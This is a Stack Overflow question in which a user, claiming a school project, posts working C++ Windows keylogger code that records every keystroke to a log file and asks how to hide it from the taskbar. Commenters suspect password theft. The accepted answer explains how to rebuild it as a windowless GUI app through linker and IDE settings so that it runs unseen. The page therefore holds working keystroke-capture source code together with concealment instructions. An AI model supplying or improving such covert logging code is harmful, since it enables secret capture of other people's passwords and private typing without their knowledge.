-5

I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:

I want to know how to hide the running of the program.

#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
        return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE=fopen(file,"a+");
    cout<<key_stroke<<endl;
    if (key_stroke==VK_TAB
        ||key_stroke==VK_SHIFT
        ||key_stroke==VK_CONTROL
        ||key_stroke==VK_ESCAPE
        ||key_stroke==VK_END
        ||key_stroke==VK_UP
        ||key_stroke==VK_DOWN
        ||key_stroke==VK_HOME
        ||key_stroke==VK_LEFT
        ||key_stroke==VK_RIGHT
        )
        fprintf(OUTPUT_FILE,"%s \n","IG");
    else if (key_stroke==8)
        fprintf(OUTPUT_FILE,"%s","\b");
    else if (key_stroke==13)
        fprintf(OUTPUT_FILE,"%s","\n");
    else if (key_stroke==32)
        fprintf(OUTPUT_FILE,"%s \n"," ");
    else if (key_stroke==190 || key_stroke==110)
        fprintf(OUTPUT_FILE,"%s",".");
    else
       fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}
int main()
{
    char i;
    while (true)
    {
        for (i=8 ; i<190 ; i++)
        {
            if (GetAsyncKeyState(i)==-32767)
                Save(i,"LOG.txt");

        }
    }
    system("PAUSE");
    return 0;}
m0sa
  • 10,712
  • 4
  • 44
  • 91
m0bi5
  • 8,900
  • 7
  • 33
  • 44
  • 1
    google is your friend – Cheers and hth. - Alf Oct 30 '15 at 03:04
  • @Cheersandhth.-Alf yup, done that but didnt get any results – m0bi5 Oct 30 '15 at 03:06
  • @Cheersandhth.-Alf if you could find a link it would be great :D – m0bi5 Oct 30 '15 at 03:06
  • 4
    what kind of school ask's you to write a key logger program? – Nandu Oct 30 '15 at 03:07
  • Look in to how to start a service. – Casey Oct 30 '15 at 03:08
  • @Nandu they told me to make any project , I chose to make a keylogger – m0bi5 Oct 30 '15 at 03:09
  • 1
    A surreptitious key logger as a "school project" sounds like you want to steal a student's or teacher's login info. – sifferman Oct 30 '15 at 03:10
  • 2
    @sifferman lol , no its just for education purposes. Do you guys always act like this when you dont have an answer for a question? – m0bi5 Oct 30 '15 at 03:13
  • @neema525: You can always build it as a GUI subsystem app. With no window I believe it won't be shown on the taskbar. However, then you'll have to use e.g. Task Manager to stop it. – Cheers and hth. - Alf Oct 30 '15 at 03:16
  • 1
    Now you don't make sense even more.. Seems like you are writing malware? if your school wanted you to make any project, then why are you soo concerned that your key logger app shows in the taskbar? The fact that your app works isn't good enough for your school? – Nandu Oct 30 '15 at 03:25
  • @Nandu no it should work like a real keylogger – m0bi5 Oct 30 '15 at 03:34
  • 1
    A school project to create a password stealer. Yes. Of course. – Neil Kirk Oct 30 '15 at 03:36
  • 1
    @NeilKirk so much negativity – m0bi5 Oct 30 '15 at 03:43
  • Possible duplicates: http://stackoverflow.com/questions/10003777/how-to-get-ride-of-console-box-of-a-gui-program-compile-by-mingw-codeblock and http://stackoverflow.com/questions/9618815/i-dont-want-console-to-appear-when-i-run-c-program/9619254#9619254 – Tas Oct 30 '15 at 03:46

1 Answers1

0

As @Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:

int main()

to:

#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by @Cheers and hth. -Alf) to this question:

With the Visual C++ compiler, if you're compiling from the command line, add the options

/link /subsystem:windows /entry:mainCRTStartup

If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.

For CodeBlocks, a very quick Google search revealed the following answer:

  1. Click Project on the CodeBlocks menu.
  2. Click Properties.
  3. Click the second tab, Build Targets.
  4. On the right, where it says Type: Console application, change it to GUI application.
  5. Rebuild the project.

Your application will no longer make a window.

Community
  • 1
  • 1
Tas
  • 7,023
  • 3
  • 36
  • 51